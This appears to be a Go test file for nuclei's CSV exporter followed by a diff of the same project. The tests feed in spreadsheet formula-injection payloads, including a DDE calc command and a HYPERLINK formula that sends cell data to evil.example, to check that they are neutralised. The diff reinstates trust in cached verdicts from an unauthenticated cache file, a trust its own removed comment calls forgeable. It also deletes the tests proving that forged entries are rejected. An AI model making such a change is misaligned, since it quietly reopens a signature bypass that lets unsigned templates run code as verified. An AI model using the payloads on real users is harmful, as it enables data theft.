"jndi-ldap",
"version",
"2.14.1",
"CVE-2021-44228",
"CWE-502",
"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"10",
"Apache Log4j2 JNDI features do not protect against attacker controlled LDAP endpoints.",
"https://logging.apache.org/log4j/2.x/security.html",
"curl -X 'GET' 'https://example.com/api'",
"2025-01-02T03:04:05Z",
}, records[1])
}
func TestCSVExporterHandlesMissingClassification(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "tech-detect",
Type: "http",
Info: model.Info{
Name: "Wappalyzer Technology Detection",
SeverityHolder: severity.Holder{Severity: severity.Info},
},
Host: "example.org",
Matched: "example.org",
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
records := export(t, event)
require.Len(t, records, 2)
// classification-derived and reference columns must be empty, not "0" or
// "<nil>", when the template carries no such metadata.
for _, name := range []string{"cve-id", "cwe-id", "cvss-metrics", "cvss-score", "reference", "description"} {
require.Equal(t, "", records[1][column(t, name)], "column %s should be empty", name)
}
require.Equal(t, "info", records[1][column(t, "severity")])
// every row still carries exactly one cell per header column
require.Len(t, records[1], len(header))
}
// TestCSVExporterEscapesStructuralCharacters is the reason this exporter writes
// through encoding/csv rather than leaving CSV assembly to the consumer: every
// value below is attacker-influenced and contains characters that are
// structural in CSV. A hand-rolled join (jq's @csv on a subset of fields, an
// fmt.Sprintf with commas, ...) either forges extra columns or truncates a row.
// Here the values must survive a full write/parse round trip byte for byte and
// the row must keep exactly len(header) cells.
func TestCSVExporterEscapesStructuralCharacters(t *testing.T) {
const (
commaValue = "a,b,c"
quoteValue = `he said "hi", then left`
newlineValue = "line1\nline2"
crlfValue = "line1\r\nline2"
mixedValue = "GET /a,b?q=\"x\" HTTP/1.1\r\nHost: evil\n"
)
event := &output.ResultEvent{
TemplateID: commaValue,
Type: quoteValue,
Info: model.Info{
Name: mixedValue,
Description: newlineValue,
Reference: stringslice.NewRawStringSlice([]string{commaValue, quoteValue}),
SeverityHolder: severity.Holder{Severity: severity.High},
},
Host: quoteValue,
IP: commaValue,
Port: newlineValue,
Matched: mixedValue,
MatcherName: crlfValue,
ExtractorName: quoteValue,
ExtractedResults: []string{commaValue, quoteValue, newlineValue},
CURLCommand: mixedValue,
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Export(event))
require.NoError(t, exporter.Close())
// 1. the raw file must quote the cells and double the embedded quotes
raw, err := os.ReadFile(file)
require.NoError(t, err)
require.Contains(t, string(raw), `"a,b,c"`)
require.Contains(t, string(raw), `"he said ""hi"", then left"`)
// 2. the file must still parse as exactly two records of len(header) cells,
// i.e. no injected/forged columns and no truncated row
records := readCSV(t, file)
require.Len(t, records, 2)
require.Len(t, records[0], len(header))
require.Len(t, records[1], len(header))
// 3. every value must round trip unchanged. encoding/csv collapses a \r\n
// inside a quoted field to \n when reading it back, so the expectation is
// normalised the same way; nothing else about the value may change.
lf := func(s string) string { return strings.ReplaceAll(s, "\r\n", "\n") }
row := records[1]
require.Equal(t, commaValue, row[column(t, "template-id")])
require.Equal(t, quoteValue, row[column(t, "template-type")])
require.Equal(t, lf(mixedValue), row[column(t, "template-name")])
require.Equal(t, quoteValue, row[column(t, "host")])
require.Equal(t, commaValue, row[column(t, "ip")])
require.Equal(t, newlineValue, row[column(t, "port")])
require.Equal(t, lf(mixedValue), row[column(t, "matched-at")])
require.Equal(t, quoteValue, row[column(t, "extractor-name")])
require.Equal(t, newlineValue, row[column(t, "description")])
require.Equal(t, lf(mixedValue), row[column(t, "curl-command")])
require.Equal(t, lf(crlfValue), row[column(t, "matcher-name")])
require.Equal(t, "high", row[column(t, "severity")])
// extracted results and references are newline separated inside their single
// quoted cell, so a value that itself contains a comma stays one value
require.Equal(t,
[]string{commaValue, quoteValue, "line1", "line2"},
strings.Split(row[column(t, "extracted-results")], "\n"))
require.Equal(t,
[]string{commaValue, quoteValue},
strings.Split(row[column(t, "reference")], "\n"))
}
func TestCSVExporterJoinsMultipleCVEsAndCWEs(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "multi-cve",
Type: "http",
Info: model.Info{
Name: "Multiple CVEs",
SeverityHolder: severity.Holder{Severity: severity.Medium},
Classification: &model.Classification{
CVEID: stringslice.StringSlice{Value: []string{"CVE-2020-0001", "CVE-2020-0002"}},
CWEID: stringslice.StringSlice{Value: []string{"CWE-79", "CWE-80"}},
CVSSScore: 5.5,
},
},
Host: "example.net",
Matched: "example.net",
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
records := export(t, event)
require.Len(t, records, 2)
require.Equal(t, "CVE-2020-0001, CVE-2020-0002", records[1][column(t, "cve-id")])
require.Equal(t, "CWE-79, CWE-80", records[1][column(t, "cwe-id")])
require.Equal(t, "5.5", records[1][column(t, "cvss-score")])
}
// TestCSVExporterFlushesRowsBeforeClose asserts rows are readable while the
// scan is still running, rather than only after Close.
func TestCSVExporterFlushesRowsBeforeClose(t *testing.T) {
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
event := &output.ResultEvent{
TemplateID: "streamed",
Type: "http",
Info: model.Info{
Name: "Streamed Result",
SeverityHolder: severity.Holder{Severity: severity.Low},
},
Host: "example.com",
Matched: "example.com",
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
require.NoError(t, exporter.Export(event))
records := readCSV(t, file)
require.Len(t, records, 2, "row should be on disk before Close")
require.Equal(t, "streamed", records[1][column(t, "template-id")])
require.NoError(t, exporter.Close())
}
// TestCSVExporterNeutralizesSpreadsheetFormulas covers the second half of the
// escaping problem. encoding/csv stops a value from breaking out of its cell,
// but it does not stop a spreadsheet from evaluating that cell as a formula.
// ExtractedResults in particular is raw response-derived data, so a target can
// choose exactly what lands in it.
func TestCSVExporterNeutralizesSpreadsheetFormulas(t *testing.T) {
const (
ddePayload = `=cmd|'/C calc'!A0`
hyperlinkPayload = `=HYPERLINK("http://evil.example/log?d="&A1,"click")`
atPayload = `@SUM(1+1)`
plusPayload = `+1+1`
tabPayload = "\t=1+1"
crPayload = "\r=1+1"
safeValue = "http://127.0.0.1:8080/index.html"
negativeNumber = "-1"
)
event := &output.ResultEvent{
TemplateID: ddePayload,
Type: "http",
Info: model.Info{
Name: atPayload,
Description: plusPayload,
Reference: stringslice.NewRawStringSlice([]string{safeValue, hyperlinkPayload}),
SeverityHolder: severity.Holder{Severity: severity.High},
Classification: &model.Classification{
CVSSScore: 9.8,
},
},
Host: tabPayload,
Matched: safeValue,
MatcherName: crPayload,
ExtractedResults: []string{safeValue, ddePayload, negativeNumber, hyperlinkPayload},
CURLCommand: ddePayload,
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
records := export(t, event)
require.Len(t, records, 2)
row := records[1]
require.Len(t, row, len(header))
// every formula-triggering cell is prefixed with a single apostrophe, and
// the original value is recoverable by removing exactly that apostrophe
for _, tc := range []struct {
column string
want string
}{
{"template-id", ddePayload},
{"template-name", atPayload},
{"description", plusPayload},
{"host", tabPayload},
{"matcher-name", crPayload},
{"curl-command", ddePayload},
} {
got := row[column(t, tc.column)]
require.Equal(t, "'"+tc.want, got, "column %s must be neutralized", tc.column)
require.Equal(t, tc.want, strings.TrimPrefix(got, "'"), "column %s must stay recoverable", tc.column)
}
// values that are not formulas are left byte-for-byte alone, so the export
// does not become littered with apostrophes
require.Equal(t, safeValue, row[column(t, "matched-at")])
require.Equal(t, "high", row[column(t, "severity")])
// a numeric cell stays numeric and sortable rather than becoming text
require.Equal(t, "9.8", row[column(t, "cvss-score")])
// multi-value cells are neutralized per element, not just at the start of
// the cell, because consumers split these cells back apart
require.Equal(t,
[]string{safeValue, "'" + ddePayload, negativeNumber, "'" + hyperlinkPayload},
strings.Split(row[column(t, "extracted-results")], "\n"))
require.Equal(t,
[]string{safeValue, "'" + hyperlinkPayload},
strings.Split(row[column(t, "reference")], "\n"))
}
func TestNeutralizeFormula(t *testing.T) {
for _, tc := range []struct {
name string
input string
want string
}{
{"empty", "", ""},
{"plain text", "nuclei", "nuclei"},
{"url", "http://example.com/a=b", "http://example.com/a=b"},
{"equals", "=1+1", "'=1+1"},
{"plus", "+1+1", "'+1+1"},
{"at", "@SUM(1)", "'@SUM(1)"},
{"tab", "\t=1+1", "'\t=1+1"},
{"carriage return", "\r=1+1", "'\r=1+1"},
{"negative integer stays numeric", "-1", "-1"},
{"negative float stays numeric", "-1.5", "-1.5"},
{"positive signed number stays numeric", "+9.8", "+9.8"},
{"minus leading text is neutralized", "-cmd|'/C calc'!A0", "'-cmd|'/C calc'!A0"},
{"leading space before trigger", " =1+1", "' =1+1"},
{"leading spaces and control before trigger", " \x01 @SUM(1)", "' \x01 @SUM(1)"},
{"leading newline before trigger", "\n=1+1", "'\n=1+1"},
{"space only", " ", " "},
{"inner trigger is not a trigger", "a=1+1", "a=1+1"},
{"already neutralized is left alone", "'=1+1", "'=1+1"},
{"non-ascii leading rune", "é=1+1", "é=1+1"},
{"exponent number stays numeric", "-1e5", "-1e5"},
{"leading dot number stays numeric", "-.5", "-.5"},
{"infinity is not a plain number", "-Inf", "'-Inf"},
{"nan is not a plain number", "+NaN", "'+NaN"},
{"hex float is not a plain number", "-0x1p-2", "'-0x1p-2"},
{"number with trailing text", "-1+cmd", "'-1+cmd"},
{"number with trailing newline", "-1\n", "'-1\n"},
{"lone sign", "-", "'-"},
} {
t.Run(tc.name, func(t *testing.T) {
require.Equal(t, tc.want, neutralizeFormula(tc.input))
})
}
}
-3
View File
@@ -2,7 +2,6 @@ package reporting
import (
"github.com/projectdiscovery/nuclei/v3/pkg/output"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
@@ -50,8 +49,6 @@ type Options struct {
JSONExporter *jsonexporter.Options `yaml:"json"`
// JSONLExporter contains configuration options for JSONL Exporter Module
JSONLExporter *jsonl.Options `yaml:"jsonl"`
// CSVExporter contains configuration options for CSV Exporter Module
CSVExporter *csv.Options `yaml:"csv"`
// PDFExporter contains configuration options for PDF Exporter Module
PDFExporter *pdf.Options `yaml:"pdf"`
// MongoDBExporter containers the configuration options for the MongoDB Exporter Module
-9
View File
@@ -12,7 +12,6 @@ import (
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/dedupe"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es"
json_exporter "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
@@ -150,13 +149,6 @@ func New(options *Options, db string, doNotDedupe bool) (Client, error) {
}
client.exporters = append(client.exporters, exporter)
}
if options.CSVExporter != nil {
exporter, err := csv.New(options.CSVExporter)
if err != nil {
return nil, errkit.Wrapf(err, "could not create export client: %v", ErrExportClientCreation)
}
client.exporters = append(client.exporters, exporter)
}
if options.PDFExporter != nil {
exporter, err := pdf.New(options.PDFExporter)
if err != nil {
@@ -237,7 +229,6 @@ func CreateConfigIfNotExists() error {
SplunkExporter: &splunk.Options{},
JSONExporter: &json_exporter.Options{},
JSONLExporter: &jsonl.Options{},
CSVExporter: &csv.Options{},
PDFExporter: &pdf.Options{},
MongoDBExporter: &mongo.Options{},
}
-45
View File
@@ -3,7 +3,6 @@ package reporting
import (
"bufio"
"bytes"
encodingcsv "encoding/csv"
"encoding/json"
"os"
"path/filepath"
@@ -12,7 +11,6 @@ import (
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown"
@@ -109,49 +107,6 @@ func TestReportingDedupeRedirectedInputs(t *testing.T) {
}
}
func TestReportingCSVExporter(t *testing.T) {
t.Run("empty block does not fail client creation", func(t *testing.T) {
t.Chdir(t.TempDir())
client, err := New(&Options{CSVExporter: &csv.Options{}}, "", true)
require.NoError(t, err)
client.Close()
require.FileExists(t, "nuclei-results.csv")
})
t.Run("export through the client", func(t *testing.T) {
csvPath := filepath.Join(t.TempDir(), "report.csv")
client, err := New(&Options{CSVExporter: &csv.Options{File: csvPath}}, "", false)
require.NoError(t, err)
event := &output.ResultEvent{
TemplateID: "extract",
Type: "http",
Host: "example.com",
URL: "http://example.com",
Matched: "http://example.com",
ExtractedResults: []string{"=cmd|'/C calc'!A0"},
}
event.Info.SeverityHolder.Severity = severity.Info
require.NoError(t, client.CreateIssue(event))
// the same finding again is deduplicated like for every other exporter
require.NoError(t, client.CreateIssue(event))
client.Close()
f, err := os.Open(csvPath)
require.NoError(t, err)
defer func() { _ = f.Close() }()
records, err := encodingcsv.NewReader(f).ReadAll()
require.NoError(t, err)
require.Len(t, records, 2)
require.Contains(t, records[1], "'=cmd|'/C calc'!A0")
})
t.Run("unwritable path fails client creation", func(t *testing.T) {
_, err := New(&Options{CSVExporter: &csv.Options{File: filepath.Join(t.TempDir(), "missing", "r.csv")}}, "", true)
require.Error(t, err)
})
}
type recordingTracker struct {
mu sync.Mutex
urls []string
-12
View File
@@ -289,18 +289,6 @@ func (template *Template) SelectedBy(selection protocols.TemplateSelection) bool
return selection.Allows(template.Path)
}
// TemplateIDs returns the IDs of the members selection selects; a nil
// selection selects every member.
func (e *ClusterExecuter) TemplateIDs(selection protocols.TemplateSelection) []string {
ids := make([]string, 0, len(e.operators))
for _, operator := range e.operators {
if selection == nil || selection.Allows(operator.templatePath) {
ids = append(ids, operator.templateID)
}
}
return ids
}
// operatorsFor returns the members selected for input by per-target profiles.
func (e *ClusterExecuter) operatorsFor(input *contextargs.MetaInput) []*clusteredOperator {
if e.options.TargetScope == nil {
+35 -6
View File
@@ -912,14 +912,29 @@ func applyTemplateVerification(template *Template, data []byte) {
}
options := template.Options
verificationDigest, _ := templateVerificationDigest(data, template)
verificationDigest, digestErr := templateVerificationDigest(data, template)
template.verificationDigest = verificationDigest
// index.gob is an unauthenticated local file. A forged entry can pair
// Verified=true with a trusted fingerprint and a digest of the
// unsigned payload, so never copy a cached verdict. Always verify
// against DefaultTemplateVerifiers. Unsigned templates still
// short-circuit in ExtractSignatureAndContent with no ECDSA.
// check if the template is verified
// only valid templates can be verified or signed
if digestErr == nil && options.TemplateVerificationCallback != nil && options.TemplatePath != "" {
if cached := options.TemplateVerificationCallback(options.TemplatePath); cached != nil {
if cached.ContentDigest == verificationDigest && cached.ContentDigest != ([sha256.Size]byte{}) && cachedTemplateVerificationIsTrusted(cached) {
template.Verified = cached.Verified
template.TemplateVerifier = cached.Verifier
template.verifierFingerprint = cached.VerifierFingerprint
options.TemplateVerifier = cached.Verifier
// Mirror verification onto options for execution-time checks.
options.Verified = cached.Verified
//nolint
if !(template.Verified && template.TemplateVerifier == "projectdiscovery/nuclei-templates") {
template.Options.RawTemplate = data
}
return
}
}
}
var verifier *signer.TemplateSigner
@@ -958,6 +973,20 @@ func (template *Template) VerifierFingerprint() [sha256.Size]byte {
return template.verifierFingerprint
}
func cachedTemplateVerificationIsTrusted(cached *protocols.TemplateVerification) bool {
if !cached.Verified || cached.VerifierFingerprint == ([sha256.Size]byte{}) {
return false
}
for _, verifier := range signer.DefaultTemplateVerifiers {
if verifier.Identifier() == cached.Verifier && verifier.Fingerprint() == cached.VerifierFingerprint {
return true
}
}
return false
}
func templateVerificationDigest(data []byte, template *Template) ([sha256.Size]byte, error) {
componentDigests := make([]byte, 0, sha256.Size*(len(template.GetFileImports())+1))
dataDigest := sha256.Sum256(data)
+33 -369
View File
@@ -726,9 +726,6 @@ func TestParseTemplateExecutesJavascriptInitAfterVerification(t *testing.T) {
testutils.Cleanup(options)
})
signer := ciTemplateSigner(t)
withDefaultTemplateSigner(t, signer)
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = "verified-javascript-init.yaml"
templateSource := `id: verified-javascript-init
@@ -744,7 +741,12 @@ javascript:
code: |
Export("verified-javascript-init")
`
template, err := templates.ParseTemplateFromReader(strings.NewReader(signTemplateForTest(t, signer, templateSource)), nil, executerOptions)
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.True(t, template.Verified)
require.True(t, template.Options.Verified)
@@ -759,9 +761,6 @@ func TestParseTemplateExecutesPreprocessedJavascriptInitAfterVerification(t *tes
testutils.Cleanup(options)
})
signer := ciTemplateSigner(t)
withDefaultTemplateSigner(t, signer)
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = "verified-preprocessed-javascript-init.yaml"
templateSource := `id: verified-preprocessed-javascript-init
@@ -777,7 +776,12 @@ javascript:
code: |
Export("verified-preprocessed-javascript-init")
`
template, err := templates.ParseTemplateFromReader(strings.NewReader(signTemplateForTest(t, signer, templateSource)), nil, executerOptions)
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.True(t, template.Verified)
require.True(t, template.Options.Verified)
@@ -805,46 +809,12 @@ func trustedVerificationForTest(data string, importedContents ...string) *protoc
}
}
// ciTemplateSigner returns a signer backed by the CI test keypair.
func ciTemplateSigner(t *testing.T) *templatesigner.TemplateSigner {
t.Helper()
s, err := templatesigner.NewTemplateSignerFromFiles("signer/testdata/ci.crt", "signer/testdata/ci-private-key.pem")
require.NoError(t, err)
return s
}
// withDefaultTemplateSigner prepends the given signer to the default
// verifiers for the duration of the test.
func withDefaultTemplateSigner(t *testing.T, s *templatesigner.TemplateSigner) {
t.Helper()
original := templatesigner.DefaultTemplateVerifiers
templatesigner.DefaultTemplateVerifiers = append([]*templatesigner.TemplateSigner{s}, original...)
t.Cleanup(func() {
templatesigner.DefaultTemplateVerifiers = original
})
}
// signTemplateForTest returns src with a valid signature appended by the
// given signer. When importPaths are non-empty the signature also binds the
// contents of those files, read from disk at signing time.
func signTemplateForTest(t *testing.T, s *templatesigner.TemplateSigner, src string, importPaths ...string) string {
t.Helper()
signable := &templates.Template{ImportedFiles: importPaths}
signature, err := s.Sign([]byte(src), signable)
require.NoError(t, err)
return src + "\n" + signature
}
func TestParseTemplateVerificationUsesLoadedImportContents(t *testing.T) {
options := testutils.DefaultOptions.Copy()
loadedCode := `Export("loaded-import")`
diskCode := `Export("disk-import")`
importPath := filepath.Join(t.TempDir(), "import.js")
require.NoError(t, os.WriteFile(importPath, []byte(loadedCode), 0o600))
require.NoError(t, os.WriteFile(importPath, []byte(diskCode), 0o600))
options.LoadHelperFileFunction = func(helperFile, _ string, _ catalog.Catalog) (io.ReadCloser, error) {
require.Equal(t, importPath, helperFile)
return io.NopCloser(strings.NewReader(loadedCode)), nil
@@ -866,11 +836,12 @@ info:
javascript:
- code: %q
`, importPath)
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource, loadedCode)
}
signer := ciTemplateSigner(t)
withDefaultTemplateSigner(t, signer)
template, err := templates.ParseTemplateFromReader(strings.NewReader(signTemplateForTest(t, signer, templateSource, importPath)), nil, executerOptions)
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.True(t, template.Verified)
require.Equal(t, loadedCode, template.RequestsJavascript[0].Code)
@@ -892,10 +863,11 @@ info:
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
javascript:
- init: |
set("init-status", "executed")
code: |
Export("revoked-verifier")
`
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
@@ -913,321 +885,9 @@ http:
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
}
func TestParseTemplateIgnoresCachedVerificationForCodeTemplates(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = "poisoned-code-template.yaml"
templateSource := `id: poisoned-code-template
info:
name: Poisoned Code Template
author: pdteam
severity: info
code:
- engine:
- sh
source: |
echo poisoned
`
// A forged cache entry: self-consistent digest, real verifier
// fingerprint and Verified=true. Writing index.gob is all an attacker
// needs; the signature of the template itself is never checked if this
// entry is trusted.
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
}
func TestParseTemplateIgnoresCachedVerificationForJavascriptTemplates(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = "poisoned-javascript-template.yaml"
templateSource := `id: poisoned-javascript-template
info:
name: Poisoned Javascript Template
author: pdteam
severity: info
javascript:
- init: |
set("init-status", "executed")
code: |
Export("poisoned-javascript-template")
`
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
require.NotContains(t, template.RequestsJavascript[0].Args, "init-status")
}
func TestParseTemplateIgnoresCachedVerificationForHttpTemplates(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = "poisoned-http-template.yaml"
templateSource := `id: poisoned-http-template
info:
name: Poisoned HTTP Template
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
`
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
}
func parseUnsignedWithPoisonedCache(t *testing.T, source, templatePath string) *templates.Template {
t.Helper()
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = templatePath
executerOptions.TemplateVerificationCallback = func(gotPath string) *protocols.TemplateVerification {
require.Equal(t, templatePath, gotPath)
return trustedVerificationForTest(source)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(source), nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
return template
}
func TestParseTemplateIgnoresCachedVerificationForFlowTemplates(t *testing.T) {
template := parseUnsignedWithPoisonedCache(t, `id: poisoned-flow-template
info:
name: Poisoned Flow Template
author: pdteam
severity: info
flow: http(1)
http:
- method: GET
path:
- "{{BaseURL}}"
`, "poisoned-flow-template.yaml")
require.True(t, template.IsFlowTemplate())
require.Equal(t, "http(1)", template.Options.Flow)
require.NotNil(t, template.Executer)
require.False(t, template.HasJavascriptRequest())
}
func TestParseTemplateIgnoresCachedVerificationForWorkflowTemplates(t *testing.T) {
setup()
source, err := os.ReadFile("tests/workflow.yaml")
require.NoError(t, err)
executerOptions := executerOpts.Copy()
executerOptions.Parser = templates.NewParser()
executerOptions.TemplatePath = "tests/workflow.yaml"
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(string(source))
}
template, err := templates.Parse("tests/workflow.yaml", nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
require.NotNil(t, template.CompiledWorkflow)
require.Len(t, template.CompiledWorkflow.Workflows, 2)
}
func TestParseTemplateIgnoresCachedVerificationForPreprocessedHttpTemplates(t *testing.T) {
template := parseUnsignedWithPoisonedCache(t, `id: poisoned-preprocessed-http
info:
name: Poisoned Preprocessed HTTP
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}/{{randstr}}"
`, "poisoned-preprocessed-http.yaml")
require.True(t, template.HasHTTPRequest())
require.NotContains(t, template.RequestsHTTP[0].Path[0], "{{randstr}}")
}
func TestParseTemplateIgnoresCachedVerificationFromDisk(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
templateSource := `id: poisoned-disk-http
info:
name: Poisoned Disk HTTP
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
`
templatePath := filepath.Join(t.TempDir(), "poisoned-disk-http.yaml")
require.NoError(t, os.WriteFile(templatePath, []byte(templateSource), 0o600))
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.Parser = templates.NewParser()
executerOptions.TemplateVerificationCallback = func(gotPath string) *protocols.TemplateVerification {
require.Equal(t, templatePath, gotPath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.Parse(templatePath, nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
}
func TestParseFromURLIgnoresCachedVerification(t *testing.T) {
source, err := os.ReadFile("tests/match-1.yaml")
require.NoError(t, err)
router := httprouter.New()
router.GET("/match-1.yaml", func(w netHttp.ResponseWriter, _ *netHttp.Request, _ httprouter.Params) {
_, _ = w.Write(source)
})
server := httptest.NewServer(router)
t.Cleanup(server.Close)
setup()
templatePath := server.URL + "/match-1.yaml"
executerOptions := executerOpts.Copy()
executerOptions.Parser = templates.NewParser()
executerOptions.TemplateVerificationCallback = func(gotPath string) *protocols.TemplateVerification {
require.Equal(t, templatePath, gotPath)
return trustedVerificationForTest(string(source))
}
template, err := templates.Parse(templatePath, nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
require.Equal(t, "basic-get", template.ID)
}
func TestParseDoesNotTreatContentSwapAsVerified(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
signer := ciTemplateSigner(t)
withDefaultTemplateSigner(t, signer)
signedSource := `id: signed-http-before-swap
info:
name: Signed HTTP Before Swap
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}/signed"
`
swappedSource := `id: swapped-unsigned-javascript
info:
name: Swapped Unsigned Javascript
author: pdteam
severity: info
javascript:
- init: |
set("init-status", "executed")
code: |
Export("swapped-unsigned-javascript")
`
templatePath := filepath.Join(t.TempDir(), "swap.yaml")
require.NoError(t, os.WriteFile(templatePath, []byte(signTemplateForTest(t, signer, signedSource)), 0o600))
fileInfo, err := os.Stat(templatePath)
require.NoError(t, err)
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.Parser = templates.NewParser()
first, err := templates.Parse(templatePath, nil, executerOptions)
require.NoError(t, err)
require.True(t, first.Verified)
require.Equal(t, "signed-http-before-swap", first.ID)
require.NoError(t, os.WriteFile(templatePath, []byte(swappedSource), 0o600))
require.NoError(t, os.Chtimes(templatePath, fileInfo.ModTime(), fileInfo.ModTime()))
second, err := templates.Parse(templatePath, nil, executerOptions)
require.NoError(t, err)
if second.ID == "swapped-unsigned-javascript" {
require.False(t, second.Verified)
require.False(t, second.Options.Verified)
require.NotContains(t, second.RequestsJavascript[0].Args, "init-status")
return
}
require.Equal(t, "signed-http-before-swap", second.ID)
require.True(t, second.Verified)
require.False(t, second.HasJavascriptRequest())
}
func TestParseTemplateCompilesUnsignedJavascriptInit(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
@@ -1286,9 +946,6 @@ func TestParseCachedTemplatePreservesVerification(t *testing.T) {
testutils.Cleanup(options)
})
signer := ciTemplateSigner(t)
withDefaultTemplateSigner(t, signer)
templateSource := `id: cached-verified-javascript
info:
@@ -1301,10 +958,14 @@ javascript:
Export("cached-verified-javascript")
`
templatePath := filepath.Join(t.TempDir(), "cached-verified-javascript.yaml")
require.NoError(t, os.WriteFile(templatePath, []byte(signTemplateForTest(t, signer, templateSource)), 0o600))
require.NoError(t, os.WriteFile(templatePath, []byte(templateSource), 0o600))
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.Parser = templates.NewParser()
